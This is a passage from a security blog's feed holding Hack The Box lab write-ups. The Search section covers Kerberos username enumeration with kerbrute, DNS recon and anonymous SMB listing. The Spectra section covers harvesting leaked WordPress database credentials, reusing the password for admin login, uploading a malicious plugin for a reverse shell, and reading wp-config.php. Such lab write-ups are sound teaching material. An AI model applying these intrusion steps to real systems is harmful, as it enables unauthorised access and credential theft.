<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>Keely Lyons</span></span>
<span class="line"><span>Dax Santiago</span></span>
<span class="line"><span>Sierra Frye</span></span>
<span class="line"><span>Kyla Stewart</span></span>
<span class="line"><span>Kaiara Spencer</span></span>
<span class="line"><span>Dave Simpson</span></span>
<span class="line"><span>Ben Thompson</span></span>
<span class="line"><span>Chris Stewart</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The Kerberos port is open, so it is possible to test for valid username and therefore do user enumeration.
To do so, I used <a href="https://github.com/hophouse/gop" target="_blank" rel="noopener noreferrer">Gop</a> and the subcommand <code>generate</code> <code>username</code> to generate a list of all the form based on a firstname and a surname. The empployee <code>Keely Lyons</code> was used :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; gop generate username -f Keely -s Lyons | tee -a username_combinations.txt</span></span>
<span class="line"><span>Keely.Lyons</span></span>
<span class="line"><span>K.Lyons</span></span>
<span class="line"><span>K.Lyons</span></span>
<span class="line"><span>Ke.Lyons</span></span>
<span class="line"><span>Kee.Lyons</span></span>
<span class="line"><span>Lyons.Keely</span></span>
<span class="line"><span>Lyons.K</span></span>
<span class="line"><span>Lyons.K</span></span>
<span class="line"><span>Lyons.Ke</span></span>
<span class="line"><span>Lyons.Kee</span></span>
<span class="line"><span>Keely-Lyons</span></span>
<span class="line"><span>K-Lyons</span></span>
<span class="line"><span>K-Lyons</span></span>
<span class="line"><span>Ke-Lyons</span></span>
<span class="line"><span>Kee-Lyons</span></span>
<span class="line"><span>Lyons-Keely</span></span>
<span class="line"><span>[...]</span></span>
<span class="line"><span>Lyons}Ke</span></span>
<span class="line"><span>Lyons}Kee</span></span>
<span class="line"><span>Keely~Lyons</span></span>
<span class="line"><span>K~Lyons</span></span>
<span class="line"><span>K~Lyons</span></span>
<span class="line"><span>Ke~Lyons</span></span>
<span class="line"><span>Kee~Lyons</span></span>
<span class="line"><span>Lyons~Keely</span></span>
<span class="line"><span>Lyons~K</span></span>
<span class="line"><span>Lyons~K</span></span>
<span class="line"><span>Lyons~Ke</span></span>
<span class="line"><span>Lyons~Kee</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; cat username_combinations.txt | wc -l</span></span>
<span class="line"><span>200</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The tool <a href="https://github.com/ropnop/kerbrute" target="_blank" rel="noopener noreferrer">Kerbrute</a> was used to do the user brute-force.
The domain was retrived from the <code>nmap</code> scan from the <code>LDAP</code> port.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; kekerbrute userenum --dc 10.10.11.129 -v -d search.htb username_combinations.txt</span></span>
<span class="line"><span></span></span>
<span class="line"><span>    __             __               __</span></span>
<span class="line"><span>   / /_____  _____/ /_  _______  __/ /____</span></span>
<span class="line"><span>  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \</span></span>
<span class="line"><span> / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/</span></span>
<span class="line"><span>/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Version: dev (n/a) - 02/09/22 - Ronnie Flathers @ropnop</span></span>
<span class="line"><span></span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;  Using KDC(s):</span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;   10.10.11.129:88</span></span>
<span class="line"><span></span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;  [!] Kee.Lyons@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;  [+] VALID USERNAME:       Keely.Lyons@search.htb</span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;  [!] Ke.Lyons@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:25:26 &gt;  [!] Lyons.K@search.htb - User does not exist</span></span>
<span class="line"><span>[...]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>So, it is possible to say that the VALID username is a form of <code>firstname.lastname@serch.htb</code>.
The following valid list was computed and then tested :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; kekerbrute userenum --dc 10.10.11.129 -v -d search.htb usernames.txt</span></span>
<span class="line"><span></span></span>
<span class="line"><span>    __             __               __</span></span>
<span class="line"><span>   / /_____  _____/ /_  _______  __/ /____</span></span>
<span class="line"><span>  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \</span></span>
<span class="line"><span> / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/</span></span>
<span class="line"><span>/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/</span></span>
<span class="line"><span></span></span>
<span class="line"><span>Version: dev (n/a) - 02/09/22 - Ronnie Flathers @ropnop</span></span>
<span class="line"><span></span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  Using KDC(s):</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;   10.10.11.129:88</span></span>
<span class="line"><span></span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [!] Dave.Simpson@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [!] Kyla.Stewart@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [+] VALID USERNAME:       Sierra.Frye@search.htb</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [+] VALID USERNAME:       Keely.Lyons@search.htb</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [!] Ben.Thompson@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [+] VALID USERNAME:       Dax.Santiago@search.htb</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [!] Chris.Stewart@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  [!] Kaiara.Spencer@search.htb - User does not exist</span></span>
<span class="line"><span>2022/02/09 14:29:14 &gt;  Done! Tested 8 usernames (3 valid) in 0.025 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Only 3 valid employees were identified :</p>
<ul>
<li>[+] VALID USERNAME: Sierra.Frye@search.htb</li>
<li>[+] VALID USERNAME: Keely.Lyons@search.htb</li>
<li>[+] VALID USERNAME: Dax.Santiago@search.htb</li>
</ul>
<h2>DNS analysis</h2>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; echo 10.10.11.129 search.htb &gt;&gt; /etc/hosts</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&gt; dnsrecon -n 10.10.11.129 -d search.htb -a -s</span></span>
<span class="line"><span>[*] std: Performing General Enumeration against: search.htb...</span></span>
<span class="line"><span>[*] Checking for Zone Transfer for search.htb name servers</span></span>
<span class="line"><span>[*] Resolving SOA Record</span></span>
<span class="line"><span>[+]      SOA research.search.htb 10.10.11.129</span></span>
<span class="line"><span>[*] Resolving NS Records</span></span>
<span class="line"><span>[*] NS Servers found:</span></span>
<span class="line"><span>[+]      NS research.search.htb 10.10.11.129</span></span>
<span class="line"><span>[*] Removing any duplicate NS server IP Addresses...</span></span>
<span class="line"><span>[*]</span></span>
<span class="line"><span>[*] Trying NS server 10.10.11.129</span></span>
<span class="line"><span>[+] 10.10.11.129 Has port 53 TCP Open</span></span>
<span class="line"><span>[-] Zone Transfer Failed (Zone transfer error: REFUSED)</span></span>
<span class="line"><span>[*] Checking for Zone Transfer for search.htb name servers</span></span>
<span class="line"><span>[*] Resolving SOA Record</span></span>
<span class="line"><span>[+]      SOA research.search.htb 10.10.11.129</span></span>
<span class="line"><span>[*] Resolving NS Records</span></span>
<span class="line"><span>[*] NS Servers found:</span></span>
<span class="line"><span>[+]      NS research.search.htb 10.10.11.129</span></span>
<span class="line"><span>[*] Removing any duplicate NS server IP Addresses...</span></span>
<span class="line"><span>[*]</span></span>
<span class="line"><span>[*] Trying NS server 10.10.11.129</span></span>
<span class="line"><span>[+] 10.10.11.129 Has port 53 TCP Open</span></span>
<span class="line"><span>[-] Zone Transfer Failed (Zone transfer error: REFUSED)</span></span>
<span class="line"><span>[-] Could not resolve domain: search.htb</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The subdomain <code>research.search.htb</code> was also retrieved here.</p>
<h2>SMB</h2>
<p>Anonymous login is authorised on the machine.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; smbclient -N -L '\\10.10.11.129\'</span></span>
<span class="line"><span>Anonymous login successful</span></span>
<span class="line"><span></span></span>
<span class="line"><span>        Sharename       Type      Comment</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Spectra</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Spectra.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Spectra.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Spectra</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan TCP/80 The we...</description>
      <category>Write-Up</category>
      <pubDate>Thu, 17 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">3306/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  mysql</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>TCP/80</h3>
<p>The web page is a basic page that has multiple links.</p>
<figure><figcaption></figcaption></figure>
<p>I ran <code>gop</code> to crawl it.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">gop</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> crawler</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.229</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Crawling from URL: http://10.10.10.229</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[ _ ] [Crawler] [</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> / 1] [Finished]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Internal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ressources</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.229</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> External</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ressources</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.229</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTP] [link] http://spectra.htb/main/index.php</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTP] [link] http://spectra.htb/testing/index.php</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Statistics</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> internal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ressources:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> links:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scripts:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> styles:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> images:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknowns:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> external</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ressources:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> links:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    2</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scripts:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> styles:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> images:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknowns:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Execution</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> time:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 882.2539ms</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I visited both pages :</p>
<ul>
<li><a href="http://spectra.htb/main/index.php" target="_blank" rel="noopener noreferrer">http://spectra.htb/main/index.php</a></li>
<li><a href="http://spectra.htb/testing/index.php" target="_blank" rel="noopener noreferrer">http://spectra.htb/testing/index.php</a></li>
</ul>
<p>The website is a <code>Wordpress</code> website. Only one user was found on the website <code>administrator</code> because it is the author of the articles on the application.</p>
<p>The server hosts a <code>testing</code> part that do not work because of an issue with the database. However, by visiting the URL <code>http://spectra.htb/testing/</code>, a directory listing is present. The configuration settings for a Wordpress application are stored under the <code>config.php</code> file. Here, it looks like this configuration file was saved with the file extension <code>.save</code>.</p>
<figure><figcaption></figcaption></figure>
<p>The content of the file was displayed in order to verify if it contains sensitive information. And it was, sensitive information about the database was retrieved.</p>
<figure><figcaption></figcaption></figure>
<p>The has an open port for the service MySQL, so the collected credentials were used in order to make a connection attempt. However, the server rejects the connection.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> mysql -u devtest -p -h 10.10.10.229 --port 3306</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> password:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ERROR</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1130</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (HY000): Host </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'10.10.14.137'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> is not allowed to connect to this MySQL server</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Because the developer might have reused this password, I used it to attempt to connect to the Wordpress login page with the login couple <code>administrator/devteam01</code>. It was a good assumption because it worked.</p>
<h2>Wordpress</h2>
<p>Once connected, I created a malicious plugin that I uploaded on the application in order to get a reverse shell on the server. I leveraged <code>metasploit</code> with the following script <a href="https://github.com/wetw0rk/malicious-wordpress-plugin" target="_blank" rel="noopener noreferrer">https://github.com/wetw0rk/malicious-wordpress-plugin</a>.</p>
<figure><figcaption></figcaption></figure>
<p>Considering that the application is working Wordpress applications, it must be conected and linked to a database. The content of the <code>wp-config.php</code> file was retrieved in order to retrieve sensitive connection information.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">meterpreter</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cat</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> wp-config.php</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&lt;?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">php</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">/**</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> base</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> configuration</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> WordPress</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> *</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> wp-config.php</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> creation</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> script</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> uses</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> this</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> file</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> during</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> installation.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> You</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> don't have to use the web site, you can</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * copy this file to "wp-config.php" and fill in the values.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> *</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * This file contains the following configurations:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> *</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * * MySQL settings</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * * Secret keys</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * * Database table prefix</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * * ABSPATH</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> *</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * @link https://wordpress.org/support/article/editing-wp-config-php/</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> *</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> * @package WordPress</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> */</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">// ** MySQL settings - You can get this info from your web host ** //</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** The name of the database for WordPress */</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">define( 'DB_NAME', 'dev' );</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/** MySQL database username */</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">define( 'DB_USER', 'dev' );</span></span>
<span class="line"></span>
